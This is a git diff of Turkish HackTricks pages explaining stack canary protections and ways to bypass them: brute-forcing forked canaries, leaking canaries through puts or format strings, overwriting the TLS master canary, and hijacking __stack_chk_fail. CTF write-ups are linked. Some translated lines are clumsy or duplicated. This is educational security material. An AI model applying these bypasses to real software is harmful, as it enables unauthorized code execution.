[**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin**. +* **HackTricks** ve **HackTricks Cloud** github depolarına PR göndererek hacking püf noktalarını paylaşın.
+{% endhint %} -## StackGuard ve StackShield +## **StackGuard ve StackShield** -**StackGuard**, tampon taşmalarına karşı koruma sağlamak için **EIP (Genişletilmiş Komut İşaretçisi)**'den önce özel bir değer olan **canary** ekler. Özellikle `0x000aff0d` (null, newline, EOF, carriage return'ü temsil eder). Ancak, `recv()`, `memcpy()`, `read()` ve `bcopy()` gibi işlevler savunmasız kalır ve **EBP (Taban İşaretçisi)**'ni korumaz. +**StackGuard**, aşırı taşmaları önlemek için **EIP (Genişletilmiş Komut İşaretçisi)**'den önce özel bir değer olan **canary**'yi ekler, özellikle `0x000aff0d` (null, newline, EOF, carriage return'ü temsil eder). Ancak, `recv()`, `memcpy()`, `read()`, ve `bcopy()` gibi fonksiyonlar hala savunmasızdır ve **EBP (Taban İşaretçisi)**'ni korumaz. -**StackShield**, tüm dönüş adreslerini (**EIP'ler**) depolayan bir **Global Return Stack**'i koruyarak StackGuard'dan daha sofistike bir yaklaşım benimser. Bu yapı, taşmaların zarar vermemesini sağlar, çünkü depolanan ve gerçek dönüş adresleri arasında karşılaştırma yaparak taşma olaylarını tespit etmeyi sağlar. Ayrıca, StackShield, **EIP**'nin beklenen veri alanının dışına işaret ettiğini tespit etmek için dönüş adresini bir sınır değeriyle karşılaştırabilir. Bununla birlikte, Return-to-libc, ROP (Return-Oriented Programming) veya ret2ret gibi tekniklerle bu koruma atlatılabilir, bu da StackShield'ın yerel değişkenleri korumadığını gösterir. +**StackShield**, StackGuard'dan daha sofistike bir yaklaşım benimseyerek **Global Return Stack**'i korur, tüm dönüş adreslerini (**EIP'ler**) depolar. Bu yapı, taşmanın zarar vermemesini sağlar, çünkü depolanan ve gerçek dönüş adresleri arasında karşılaştırma yaparak taşma olaylarını tespit etmeyi sağlar. Ayrıca, StackShield, **EIP**'nin beklenen veri alanının dışına işaret ettiğini tespit etmek için dönüş adresini bir sınır değeriyle karşılaştırabilir. Bununla birlikte, Return-to-libc, ROP (Return-Oriented Programming) veya ret2ret gibi tekniklerle bu koruma atlatılabilir, bu da StackShield'ın yerel değişkenleri korumadığını gösterir. -## Stack Smash Koruyucu (ProPolice) `-fstack-protector`: +## **Stack Smash Koruyucu (ProPolice) `-fstack-protector`:** -Bu mekanizma, **EBP**'den önce bir **canary** yerleştirir ve tamponların diğer değişkenleri üzerine yazmasını önlemek için yerel değişkenleri yeniden düzenler, tamponları daha yüksek bellek adreslerine yerleştirir. Ayrıca, yığına geçirilen argümanları güvenli bir şekilde kopyalar ve bu kopyaları argüman olarak kullanır. Bununla birlikte, 8'den az öğeye sahip dizileri veya kullanıcının yapısındaki tamponları korumaz. +Bu mekanizma, **EBP**'den önce bir **canary** yerleştirir ve yerel değişkenleri yeniden düzenleyerek tamponları daha yüksek bellek adreslerine yerleştirir, böylece diğer değişkenleri üzerine yazmalarını önler. Ayrıca, yığına geçirilen argümanları güvenli bir şekilde kopyalar ve bu kopyaları argüman olarak kullanır. Bununla birlikte, 8'den az öğeye sahip dizileri veya kullanıcının yapısındaki tamponları korumaz. -**Canary**, `/dev/urandom` kaynaklı rastgele bir sayı veya varsayılan değeri olan `0xff0a0000`'den türetilen rastgele bir sayıdır. **TLS (İş Parçacığı Yerel Depolama)**'da saklanır ve iş parçacıkları arasında paylaşılan bellek alanlarının iş parçacığına özgü küresel veya statik değişkenlere sahip olmasını sağlar. Bu değişkenler başlangıçta ebeveyn süreçten kopyalanır ve çocuk süreçler verilerini değiştirebilir ancak ebeveyni veya kardeşleri etkilemez. Bununla birlikte, yeni bir canary oluşturmadan **`fork()`** kullanılırsa, tüm süreçler (ebeveyn ve çocuklar) aynı canary'yi paylaşır, bu da onu savunmasız hale getirir. **i386** mimarisinde canary `gs:0x14`'te, **x86\_64**'te ise `fs:0x28`'de saklanır. +**Canary**, `/dev/urandom`'dan türetilen rastgele bir sayı veya varsayılan bir değer olan `0xff0a0000`'den gelir. **TLS (İş Parçacığı Yerel Depolama)**'da saklanır ve iş parçacıkları arasında paylaşılan bellek alanlarına iş parçacığı özgü küresel veya statik değişkenlerin olmasını sağlar. Bu değişkenler başlangıçta ebeveyn süreçten kopyalanır ve çocuk süreçler verilerini değiştirebilir ancak ebeveyni veya kardeşleri etkilemez. Bununla birlikte, **`fork()` kullanılarak yeni bir canary oluşturulmadan kullanıldığında, tüm süreçler (ebeveyn ve çocuklar) aynı canary'yi paylaşır**, bu da onu savunmasız hale getirir. **i386** mimarisinde, canary `gs:0x14`'te saklanır ve **x86\_64**'te `fs:0x28`'de saklanır. -Bu yerel koruma, saldırılara açık tamponlara sahip işlevleri tanımlar ve bu işlevlerin başına canary yerleştirmek ve bütünlüğünü doğrulamak için bu işlevlerin başına kod enjekte eder. +Bu yerel koruma, saldırılara açık tamponlara sahip işlevleri tanımlar ve bu işlevlerin başlangıcına canary yerleştirmek ve bütünlüğünü doğrulamak için bu işlevlerin sonuna kod enjekte eder. -Bir web sunucusu `fork()` kullandığında, canary'yi byte byte tahmin etmek için kaba kuvvet saldırısını etkinleştirir. Ancak, `fork()`'ten sonra `execve()` kullanarak hafıza alanını üzerine yazarak saldırıyı etkisiz hale getirebilirsiniz. `vfork()`, çocuk sürecin yazma girişiminde bulunana kadar çoğaltma yapmadan çalışmasına izin verir, bu noktada bir kopya oluşturulur ve işlem oluşturma ve bellek işleme için farklı bir yaklaşım sunar. +Bir web sunucusu `fork()` kullandığında, canary'yi byte byte tahmin etmek için bir brute-force saldırısını etkinleştirir. Ancak, `fork()`'ten sonra `execve()` kullanarak hafıza alanını üzerine yazarak saldırıyı etkisiz hale getirebilirsiniz. `vfork()`, çocuk sürecin yazmaya çalışana kadar çoğaltılmadan çalışmasına izin verir, bu noktada bir kopya oluşturulur, işlem oluşturma ve bellek işleme için farklı bir yaklaşım sunar. ### Uzunluklar @@ -37,44 +38,45 @@ Bir web sunucusu `fork()` kullandığında, canary'yi byte byte tahmin etmek iç `x86` ikili dosyalarında, canary çerezi bir **`0x4`** bayt dword'dür. **İlk üç bayt rastgele** ve son bayt bir **null bayttır**. {% hint style="danger" %} -Her iki canary'nin en anlamlı baytı bir null bayttır çünkü daha düşük adreslerden gelen yığındaki ilk bayt olacak ve bu nedenle **dizeleri okuyan işlevler onu okumadan duracak**. +Her iki canary'nin en anlamsız baytı bir null bayttır çünkü daha düşük adreslerden gelen yığındaki ilk bayt olacak ve bu nedenle **dizeleri okuyan işlevler onu okumadan duracak**. {% endhint %} ## Atlatmalar -**Canary'yi sızdırmak** ve ardından (örneğin tampon taşması ile) kendi değeriyle üzerine yazmak. +**Canary'yi sızdırmak** ve ardından üzerine yazmak (örneğin tampon taşması) (örneğin tampon taşması) kendi değeriyle. -- **Çocuk süreçlerde canary çatallanırsa**, bir byte'ı bir seferde **kaba kuvvetle** tahmin etmek mümkün olabilir: +* **Çocuk süreçlerde canary çatallanırsa**, bir byte'ı bir seferde **brute-force** etmek mümkün olabilir: {% content-ref url="bf-forked-stack-canaries.md" %} [bf-forked-stack-canaries.md](bf-forked-stack-canaries.md) {% endcontent-ref %} -- İkili dosyada ilginç bir **sızıntı veya keyfi okuma açığı** varsa, sızdırmak mümkün olabilir: +* İkili dosyada ilginç bir **sızıntı veya keyfi okuma açığı** varsa, sızdırmak mümkün olabilir: {% content-ref url="print-stack-canary.md" %} [print-stack-canary.md](print-stack-canary.md) {% endcontent-ref %} -- **Yığına depolanan işaretçileri üzerine yazma** +* **Yığına depolanan işaretçileri üzerine yazma** -Yığına taşma açığı olan yığın, yığın canary'sine ulaşmadan zafiyeti sömürmek için **üzerine yazılabilecek dize veya işlev adresleri içerebilir**. Kontrol edin: +Yığına taşma açığı olan yığın, yığın canary'sine ulaşmadan da kullanılabilecek şekilde **dizelerin veya işlevlerin adreslerini içerebilir**. Yığın canary'sine ulaşmadan zafiyeti sömürmek için bu adreslerin üzerine yazılabilir. Kontrol edin: {% content-ref url="../../stack-overflow/pointer-redirecting.md" %} [pointer-redirecting.md](../../stack-overflow/pointer-redirecting.md) {% endcontent-ref %} -- **Hem ana hem de iş parçacığı canary'sini değiştirme** +* **Hem ana hem de iş parçacığı canary'sini değiştirme** -Canary ile korunan bir iş parçacığında tampon taşması, iş parçacığının ana canary'sini değiştirmek için kullanılabilir. Sonuç olarak, denetim iki değiştirilmiş canary ile yapıldığından koruma işe yaramaz. +Canary ile korunan bir iş parçacığı işlevinde bir tampon **taşması, iş parçacığının ana canary'sini değiştirmek** için kullanılabilir. Sonuç olarak, denetim, aynı olan iki canary ile kullanılan bir denetim olduğundan işe yaramaz hale gelir (ancak değiştirilmiş). -Ayrıca, canary ile korunan bir işlevde tampon taşması, TLS'de saklanan ana canary'yi değiştirmek için kullanılabilir. Bu, iş parçacığının yığınında bir taşma aracılığıyla TLS'nin saklandığı bellek konumuna ulaşmak mümkün olabileceği için mümkündür. Sonuç olarak, denetim iki değiştirilmiş canary ile yapıldığından koruma işe yaramaz. Bu saldırı, [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads) yazısında gerçekleştirilir. +Ayrıca, canary ile korunan bir iş parçacığı işlevinde bir tampon **taşması, TLS'de depolanan ana canary'yi değiştirmek** için kullanılabilir. Bu, bir iş parçacığının yığınının bir bof aracılığıyla ulaşılabilir olabileceği bellek konumuna ulaşmak mümkün olduğundan mümkündür. Sonuç olarak, denetim, aynı olan iki canary ile kullanılan bir denetim olduğundan işe yaramaz hale gelir.\ +Bu saldırı, [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads) yazısında gerçekleştirilir. -Ayrıca, genellikle **TLS**'nin **`mmap`** tarafından saklandığını ve bir **iş parçacığının yığını** oluşturulduğunda bunun da `mmap` tarafından oluşturulduğunu belirten [https://www.slideshare.net/codeblue\_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue\_jp/master-canary-forging-by-yuki-koike-code-blue-2015) sunumuna bakın, bu da önceki yazıda gösterildiği gibi taşmaya izin verebilir. +Ayrıca, genellikle **TLS**'nin **`mmap`** tarafından saklandığını ve bir **iş parçacığının yığını** oluşturulduğunda bunun da `mmap` tarafından oluşturulduğunu belirten [https://www.slideshare.net/codeblue\_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue\_jp/master-canary-forging-by-yuki-koike-code-blue-2015) sunumunu kontrol edin, bu da önceki yazıda gösterildiği gibi taşmaya izin verebilir. -- **`__stack_chk_fail`'in GOT girişini değiştirme** +* **`__stack_chk_fail`'in GOT girişini değiştirme** -İkili dosyanın Kısmi RELRO'ya sahip olması durumunda, **GOT girişini `__stack_chk_fail`'in** bir programı engellemediği sahte bir işlev olacak şekilde değiştirmek için keyfi yazma kullanabilirsiniz. +Eğer ikili dosyanın Partial RELRO'su varsa, o zaman **GOT girişini `__stack_chk_fail`'in** bir programı engellemeyen sahte bir işlev olacak şekilde değiştirmek için keyfi yazma kullanabilirsiniz. Bu saldırı, [https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/](https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/) yazısında gerçekleştirilir. ## Referanslar @@ -83,16 +85,17 @@ Bu saldırı, [https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/]( * [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads) * [https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/](https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/) +{% hint style="success" %} +AWS Hacking'ini öğrenin ve pratik yapın:[**HackTricks Eğitimi AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking'ini öğrenin ve pratik yapın: [**HackTricks Eğitimi GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin htARTE (HackTricks AWS Red Team Expert) ile! +HackTricks'i Destekleyin -HackTricks'ı desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu -* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)'da takip edin.** -* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'ı takip edin.** +* Hacking püf noktalarını paylaşarak PR'ler göndererek **HackTricks** ve **HackTricks Cloud** github depolarına katkıda bulunun.
+{% endhint %} diff --git a/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md b/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md index 7f23b45b8..ff6ec9e2f 100644 --- a/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md +++ b/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md @@ -1,33 +1,34 @@ # BF Forked & Threaded Stack Canaries +{% hint style="success" %} +AWS Hacking öğrenin ve uygulayın: [**HackTricks Eğitimi AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking öğrenin ve uygulayın: [**HackTricks Eğitimi GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Red Team Expert) ile! +HackTricks'i Destekleyin -HackTricks'ı desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.** -* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarını paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
+{% endhint %} -**Eğer bir canary ve PIE (Pozisyon Bağımsız Yürütülebilir) tarafından korunan bir ikiliyle karşı karşıyaysanız, muhtemelen bunları atlatmanın bir yolunu bulmanız gerekecektir.** +**Bir canary ve PIE (Pozisyon Bağımsız Yürütülebilir) ile korunan bir ikiliyle karşı karşıyaysanız, muhtemelen bunları atlatmanın bir yolunu bulmanız gerekecektir.** ![](<../../../.gitbook/assets/image (865).png>) {% hint style="info" %} -**`checksec`**'in, bir ikilinin bir canary tarafından korunduğunu bulamayabileceğini unutmayın eğer bu statik olarak derlenmişse ve işlevi tanımlayamıyorsa.\ -Ancak, bir değerin bir işlev çağrısının başında yığına kaydedildiğini ve bu değerin çıkış yapmadan önce kontrol edildiğini fark ederseniz bunu manuel olarak fark edebilirsiniz. +**`checksec`**'in, bir ikilinin bir canary ile korunduğunu bulamayabileceğini unutmayın, bu durum statik olarak derlenmişse ve işlevi tanımlayamıyorsa.\ +Ancak, bir değerin bir işlev çağrısının başında yığına kaydedildiğini ve bu değerin çıkış yapmadan önce kontrol edildiğini fark ederseniz, bunu manuel olarak fark edebilirsiniz. {% endhint %} ## Brute force Canary -Basit bir canary'yi atlatmanın en iyi yolu, ikilinin bir program olduğu durumda **her yeni bağlantı kurduğunuzda çocuk işlemi çatallandırması** (ağ hizmeti) yapmasıdır, çünkü ona her bağlandığınızda **aynı canary kullanılacaktır**. +Basit bir canary'yi atlatmanın en iyi yolu, ikilinin bir program olduğu durumdur **her yeni bağlantı kurduğunuzda çocuk işlemleri çatallandırır** (ağ hizmeti), çünkü her bağlandığınızda **aynı canary kullanılacaktır**. -Bu durumda, canary'yi atlatmanın en iyi yolu, sadece **her karakteri brute-force etmek** ve tahmin edilen canary baytının doğru olup olmadığını anlamak için programın çöktüğünü veya düzenli akışını sürdürüp sürdürmediğini kontrol etmektir. Bu örnekte fonksiyon **8 Bayt'lik bir canary'yi brute-force eder (x64)** ve doğru tahmin edilen baytı yanlış bayttan ayırt eder sadece **sunucu tarafından bir yanıtın gönderilip gönderilmediğini kontrol ederek** (diğer durumlarda başka bir yol **try/except** kullanmaktır): +Bu durumda, canary'yi atlatmanın en iyi yolu, canary'yi **her karakteri karakter karakterine zorlamaktır**, ve tahmin edilen canary baytının doğru olup olmadığını anlayabilir ve programın çöktüğünü veya düzenli akışını sürdürdüğünü kontrol ederek. Bu örnekte fonksiyon **8 Bayt canary (x64)**'yi zorlar ve doğru tahmin edilen baytı yanlış bayttan ayırt eder **sunucu tarafından bir yanıt gönderilip gönderilmediğini kontrol ederek** (diğer durumlarda başka bir yol, bir **try/except** kullanmak olabilir): ### Örnek 1 @@ -116,15 +117,15 @@ log.info(f"The canary is: {canary}") ``` ## İş Parçacıkları -Aynı işlemdeki iş parçacıkları aynı **canary belirteciyi paylaşacak**, bu nedenle saldırı gerçekleştiğinde her seferinde yeni bir iş parçacığı oluşturan ikili bir dosyada bir canary'yi **kaba kuvvet** ile bulmak mümkün olacaktır. +Aynı işlemdeki iş parçacıkları aynı **canary belirteci**ni de **paylaşacaklarından**, bu nedenle bir saldırı gerçekleştiğinde ikili her seferinde yeni bir iş parçacığı oluşturan bir ikili varsa bir canary'yi **kaba kuvvet** yöntemiyle bulmak mümkün olacaktır. -Ayrıca, bir canary ile korunan bir iş parçacığında bir tampon **taşması, TLS'de depolanan ana canary'yi değiştirmek için kullanılabilir**. Bu, bir iş parçacığının yığınındaki bir **taşma aracılığıyla TLS'nin depolandığı bellek konumuna ulaşmak mümkün olabileceği için mümkündür (ve dolayısıyla, canary).\ -Sonuç olarak, önlem işe yaramaz çünkü kontrol, iki aynı olan canary'lerle kullanılır (ancak değiştirilmiş).\ +Ayrıca, bir canary ile korunan bir iş parçacığında bir tampon **taşması, TLS'de depolanan ana canary'yi değiştirmek için kullanılabilir**. Bu, bir iş parçacığının yığınındaki bir **taşma aracılığıyla TLS'nin depolandığı bellek konumuna ulaşmak mümkün olabileceği için mümkündür.\ +Sonuç olarak, önlem işe yaramaz çünkü kontrol, iki aynı olan (ancak değiştirilmiş) iki canary ile yapılır.\ Bu saldırı, şu yazıda gerçekleştirilir: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads) -Ayrıca, genellikle **TLS**'nin **`mmap`** tarafından depolandığını ve bir **iş parçacığının yığınının oluşturulduğunda** bu yığının da `mmap` tarafından oluşturulduğunu belirten [https://www.slideshare.net/codeblue\_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue\_jp/master-canary-forging-by-yuki-koike-code-blue-2015) sunumuna da bakın, bu da önceki yazıda gösterildiği gibi taşmaya izin verebilir. +Ayrıca, genellikle **TLS**'nin **`mmap`** tarafından depolandığını ve bir **iş parçacığının yığınının** oluşturulduğunda da buna göre `mmap` tarafından oluşturulduğunu belirten [https://www.slideshare.net/codeblue\_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue\_jp/master-canary-forging-by-yuki-koike-code-blue-2015) sunumuna da bakın, bu da önceki yazıda gösterildiği gibi taşmaya izin verebilir. ## Diğer örnekler ve referanslar * [https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html) -* 64 bit, PIE olmayan, nx, BF canary, bazı belleğe `execve`'yi çağırmak için bir ROP yaz ve oraya atla. +* 64 bit, PIE olmadan, nx, BF canary, bazı belleğe `execve`'yi çağırmak için bir ROP yaz ve oraya atla. diff --git a/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md b/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md index 81707e240..8894229c2 100644 --- a/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md +++ b/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md @@ -1,35 +1,36 @@ # Yığın Canariesini Yazdır +{% hint style="success" %} +AWS Hacking'ı öğrenin ve uygulayın:[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking'ı öğrenin ve uygulayın: [**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-AWS hackleme konusunda sıfırdan kahramana kadar öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)! +HackTricks'i Destekleyin -HackTricks'ı desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** -* **Hacking püf noktalarınızı göndererek HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR gönderin. +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarını paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR gönderin.
+{% endhint %} -## Yazdırılan Yığını Genişlet +## Yazdırılan yığını genişlet -Bir **yığın taşması açığına sahip bir programın**, **yığın taşmasının bir kısmına işaret eden bir puts** işlevini **çalıştırabileceği bir durumu hayal edin**. Saldırgan, **canary'nin ilk baytının bir null bayt** (`\x00`) olduğunu ve canary'nin geri kalanının **rastgele** baytlar olduğunu bilir. Daha sonra, saldırgan, **yığın taşmasını oluşturabilir ve yalnızca canary'nin ilk baytına kadar yığını üzerine yazabilir**. +**Yığın taşması**na karşı savunmasız bir **programın** bir **puts** işlevini **yığın taşmasının bir kısmına işaret ederek** çalıştırabileceği bir durumu hayal edin. Saldırgan, **canary'nin ilk baytının bir null bayt** (`\x00`) olduğunu ve canary'nin geri kalanının **rastgele** baytlar olduğunu bilir. Daha sonra, saldırgan, yığının sadece canary'nin ilk baytı hariç olacak şekilde **üzerine yazan bir taşma oluşturabilir**. -Ardından, saldırgan, **payloadun ortasında puts işlevini çağırır** ve bu, **canary'nin tamamını yazdıracaktır** (ilk null bayt hariç). +Ardından, saldırgan, **payload'ın ortasında puts işlevini çağırır** ve bu, canary'nin **tümünü yazdıracaktır** (ilk null bayt hariç). Bu bilgiyle saldırgan, canary'yi bilerek (aynı program oturumunda) **yeni bir saldırı oluşturabilir ve gönderebilir**. -Bu taktik açıkça çok **sınırlıdır**, çünkü saldırganın, **payloadunun içeriğini yazdırabilmesi**, **canary'yi dışarı çıkarabilmesi** ve ardından aynı program oturumunda **gerçek tampon taşmasını gönderebilmesi** gerekir. +Bu taktik açıkça çok **sınırlıdır**, çünkü saldırganın, **payload'ın içeriğini yazdırabilmesi** ve ardından canary'yi **dışarı çıkarabilmesi** ve daha sonra (aynı program oturumunda) **gerçek tampon taşmasını oluşturabilmesi** gerekmektedir. **CTF örnekleri:** * [**https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html**](https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html) -* 64 bit, ASLR etkin ancak PIE etkin değil, ilk adım, canary'nin 0x00 baytına kadar taşmasıyla doldurulması ve ardından puts çağrısı yaparak sızdırmaktır. Canary ile puts'un GOT'tan adresini sızdırmak için bir ROP cihazı oluşturulur ve ardından `/bin/sh`'yi çağırmak için `system('/bin/sh')`'yi çağırmak için bir ROP cihazı +* 64 bit, ASLR etkin ancak PIE etkin değil, ilk adım canary'nin 0x00 baytına kadar taşma ile doldurmak ve ardından puts'u çağırarak sızdırmaktır. Canary ile puts'un GOT'tan adresini sızdırmak için bir ROP cihazı oluşturulur ve ardından `/bin/sh` argümanı ile `system`'i çağırmak için bir ROP cihazı oluşturulur. * [**https://guyinatuxedo.github.io/14-ret\_2\_system/hxp18\_poorCanary/index.html**](https://guyinatuxedo.github.io/14-ret\_2\_system/hxp18\_poorCanary/index.html) -* 32 bit, ARM, relro yok, canary, nx, pie yok. Yığını sızdırmak için puts çağrısıyla taşma + canary'yi sızdırmak ve ROP zinciriyle `system`'ı çağırmak için ret2lib çağrısı +* 32 bit, ARM, relro yok, canary, nx yok, pie yok. Yığından canary'yi sızdırmak için puts çağrısı ile taşma + ret2lib, `system`'i çağırmak için bir ROP zinciri ile r0 (argüman `/bin/sh`) ve pc (system adresi) pop etme ## Keyfi Okuma @@ -40,4 +41,19 @@ Format **dizileri** tarafından sağlanan bir **keyfi okuma** ile canary'yi sız {% endcontent-ref %} * [https://guyinatuxedo.github.io/14-ret\_2\_system/asis17\_marymorton/index.html](https://guyinatuxedo.github.io/14-ret\_2\_system/asis17\_marymorton/index.html) -* Bu zorluk, yığın üzerinden canary'yi okumak için format dizisini çok basit bir şekilde kötüye kullanır +* Bu zorluk, yığından canary'yi okumak için çok basit bir şekilde bir format dizesini kötüye kullanır + +{% hint style="success" %} +AWS Hacking'ı öğrenin ve uygulayın:[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking'ı öğrenin ve uygulayın: [**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte) + +
+ +HackTricks'i Destekleyin + +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarını paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR gönderin. + +
+{% endhint %} diff --git a/binary-exploitation/format-strings/format-strings-arbitrary-read-example.md b/binary-exploitation/format-strings/format-strings-arbitrary-read-example.md index 4228f1994..ca5d7db86 100644 --- a/binary-exploitation/format-strings/format-strings-arbitrary-read-example.md +++ b/binary-exploitation/format-strings/format-strings-arbitrary-read-example.md @@ -1,18 +1,19 @@ # Format Strings - Rastgele Okuma Örneği +{% hint style="success" %} +AWS Hacking'i öğrenin ve uygulayın: [**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking'i öğrenin ve uygulayın: [**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
